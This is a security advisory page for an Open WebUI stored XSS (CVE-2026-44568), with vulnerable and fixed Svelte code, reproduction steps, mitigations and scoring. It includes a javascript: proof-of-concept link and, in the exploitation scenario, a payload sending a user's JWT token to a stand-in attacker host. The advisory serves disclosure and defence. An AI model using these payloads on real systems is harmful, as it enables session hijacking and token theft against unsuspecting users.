CVE-2026-44568: open-webui: XSS in pending overlay enables session hijack
GHSA-fq3v-xjjx-95rc MEDIUM CISA: TRACK*CVE-2026-44568 is a stored XSS in Open WebUI's pending-user overlay where DOMPurify sanitization is applied to raw Markdown before parsing — not after — allowing Markdown link syntax with javascript: URIs to survive into rendered HTML entirely unsanitized. While exploitation requires admin credentials, in multi-admin deployments a single compromised admin account can silently harvest JWT tokens or serve fake login pages to every user held in pending status. No public exploit or CISA KEV listing exists (CVSS 4.8 medium), but the attack is trivially executable by any admin and leaves no obvious trace in server-side logs. Organizations running Open WebUI should upgrade to 0.9.0 immediately and audit the Pending User Overlay Content field for existing javascript: URIs or unexpected HTML.
What is the risk?
Medium severity with contextual elevation in multi-admin environments. CVSS 4.8 appropriately reflects the high-privilege prerequisite (PR:H), but actual attack complexity once admin access is obtained is near-zero — paste Markdown into a settings field. Open WebUI's track record of 52 prior CVEs and a package risk score of 38/100 signals a historically weak security posture. No public exploit or Nuclei scanner template exists, keeping near-term exploitation risk low for well-monitored deployments with restricted admin access.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | <= 0.8.12 | 0.9.0 |
Do you use Open WebUI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Upgrade to open-webui 0.9.0, which fixes the DOMPurify/marked.parse() ordering to sanitize after Markdown parsing.
-
Immediately audit Admin Settings > General > Pending User Overlay Content for javascript: URIs, <script> tags, or unexpected HTML — clear the field if anything suspicious is found.
-
If patching is delayed, restrict admin account access to the minimum necessary principals and enforce MFA on all admin accounts.
-
Deploy a Content-Security-Policy header blocking javascript: URI execution as defense-in-depth.
-
Review browser-side CSP violation reports or WAF logs for unexpected script execution patterns targeting the /pending overlay route.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-44568?
CVE-2026-44568 is a stored XSS in Open WebUI's pending-user overlay where DOMPurify sanitization is applied to raw Markdown before parsing — not after — allowing Markdown link syntax with javascript: URIs to survive into rendered HTML entirely unsanitized. While exploitation requires admin credentials, in multi-admin deployments a single compromised admin account can silently harvest JWT tokens or serve fake login pages to every user held in pending status. No public exploit or CISA KEV listing exists (CVSS 4.8 medium), but the attack is trivially executable by any admin and leaves no obvious trace in server-side logs. Organizations running Open WebUI should upgrade to 0.9.0 immediately and audit the Pending User Overlay Content field for existing javascript: URIs or unexpected HTML.
Is CVE-2026-44568 actively exploited?
No confirmed active exploitation of CVE-2026-44568 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-44568?
1. Upgrade to open-webui 0.9.0, which fixes the DOMPurify/marked.parse() ordering to sanitize after Markdown parsing. 2. Immediately audit Admin Settings > General > Pending User Overlay Content for javascript: URIs, <script> tags, or unexpected HTML — clear the field if anything suspicious is found. 3. If patching is delayed, restrict admin account access to the minimum necessary principals and enforce MFA on all admin accounts. 4. Deploy a Content-Security-Policy header blocking javascript: URI execution as defense-in-depth. 5. Review browser-side CSP violation reports or WAF logs for unexpected script execution patterns targeting the /pending overlay route.
What systems are affected by CVE-2026-44568?
This vulnerability affects the following AI/ML architecture patterns: LLM serving frontends, AI chat interfaces, model serving.
What is the CVSS score for CVE-2026-44568?
CVE-2026-44568 has a CVSS v3.1 base score of 4.8 (MEDIUM). The EPSS exploitation probability is 0.17%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011.003 Malicious Link AML.T0048.003 User Harm AML.T0049 Exploit Public-Facing Application AML.T0091.000 Application Access Token Compliance Controls Affected
What are the technical details?
Original Advisory
## Vulnerability Details **CWE-79**: Cross-site Scripting (XSS) The `AccountPending.svelte` component renders the admin-configured "Pending User Overlay Content" using `marked.parse()` inside `{@html}` with an incorrect DOMPurify application order: ### Vulnerable Code **`src/lib/components/layout/Overlay/AccountPending.svelte` (lines 43-48)**: ```svelte {@html marked.parse( DOMPurify.sanitize( ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>') ) )} ``` DOMPurify is applied to the raw Markdown input **before** `marked.parse()` processes it. This is the wrong order. DOMPurify sanitizes the Markdown text (which contains no HTML tags), then `marked.parse()` converts Markdown link syntax into HTML `<a>` tags with `javascript:` href, and the result is rendered with `{@html}` unsanitized. The correct pattern (used elsewhere in the codebase, e.g., `NotebookView.svelte:77`) is: ```javascript DOMPurify.sanitize(marked.parse(src)) // sanitize AFTER markdown parsing ``` ## Steps to Reproduce ### Prerequisites - Open WebUI v0.8.10 - Admin account - A second user account with "pending" role ### Steps 1. Log in as admin and navigate to **Admin Settings** → **Settings** → **General**. 2. Set **Default User Role** to `pending`. 3. In the **Pending User Overlay Content** field, enter: ``` # Account Pending Your account is under review. [Contact Support](javascript:alert(document.domain)) ``` 4. Save the settings. 5. In a separate browser (or incognito window), create a new account or log in as a pending user. 6. The pending overlay is displayed. Click the "Contact Support" link. 7. A JavaScript alert dialog appears showing `localhost` (the document domain), confirming XSS execution. ### Verified Output The `alert(document.domain)` executes successfully, displaying "localhost" in a JavaScript dialog box. ## Impact An admin can inject arbitrary JavaScript into the Pending User Overlay Content that executes in the browser context of any pending user who views the overlay page. This could be used to: - **Session hijacking**: Steal pending users' JWT tokens from cookies/localStorage - **Credential theft**: Replace the pending overlay with a fake login form - **Phishing**: Redirect pending users to malicious sites While this requires admin privileges to set the overlay content, it enables an admin to attack pending users (who have not yet been granted full access). In multi-admin deployments, a compromised admin account could use this to escalate attacks. ## Proposed Fix Apply DOMPurify **after** `marked.parse()`, not before: ```svelte <!-- Before (vulnerable): --> {@html marked.parse( DOMPurify.sanitize( ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>') ) )} <!-- After (fixed): --> {@html DOMPurify.sanitize( marked.parse( ($config?.ui?.pending_user_overlay_content ?? '').replace(/\n/g, '<br>'), { async: false } ) )} ``` <img width="1510" height="1093" alt="2026-03-23_03-07" src="https://github.com/user-attachments/assets/bcc94dd6-4f06-472b-9979-9759458c76b3" />
Exploitation Scenario
An attacker who has compromised an admin account in an organization running Open WebUI for internal LLM access navigates to Admin Settings > General and pastes a Markdown snippet — e.g., [Contact IT Help Desk](javascript:fetch('https://attacker.io/c?t='+localStorage.getItem('token'))) — into the Pending User Overlay Content field. Over the following days, every new employee whose account is held in pending status views the overlay, clicks the legitimate-looking help desk link, and unknowingly exfiltrates their JWT token to the attacker's server. The attacker replays those tokens to query the company's internal LLM deployment as legitimate users, extracting proprietary system prompts, RAG-indexed documents, and conversation history — all without triggering any server-side authentication alerts.
Weaknesses (CWE)
CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-45315 8.7 open-webui: stored XSS → JWT theft and admin takeover
Same package: open-webui